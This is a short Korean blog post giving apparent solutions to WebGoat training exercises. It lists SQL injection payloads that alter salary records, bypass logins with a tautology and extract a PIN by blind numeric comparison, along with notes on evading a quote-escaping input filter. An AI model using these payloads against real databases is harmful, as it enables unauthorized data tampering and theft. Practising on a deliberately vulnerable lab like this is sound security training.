보안/웹
WebGoat 문제 풀이 (기초)
ByteGuard
2023. 4. 17. 15:44
How to work with WebGoat
aaa'; UPDATE salaries SET salary=999 WHERE userid='jsmith
bbb'; INSERT INTO salaries (userid, salary) VALUES('DDDD', 333333)--
User ID: 101
101; update employee set salary=10000
101; update employee set salary=10000where userid=101
또는
101 update employee set salary=10000 where userid=101
101 update employee set salary= 10000
Smith' or '1'='1
Blind Numeric SQL Injection
101 AND ((SELECT pin FROM pins WHERE cc_number='111222333444')>10000);
빨간 숫자 부분을 계속 바꿔보기`
2363 - 2364
입력필터 회피하기_필터3
인용부호가 있을 때,애플리케이션은 추가적인 인용부호를 기존 인용부호에 덧붙임. - 사용자 입력 값에 두 개의 인용부호가 있을 때, 인용부호 회피 마크로 인식돼서 무시됨
인용부호 2개('') = 회피마크 = 없는 것으로 간주
-> 사용자 1개, 시스템 1개 합쳐진 형식
유저 네임 입력값에 대한 제한 - 10개 문자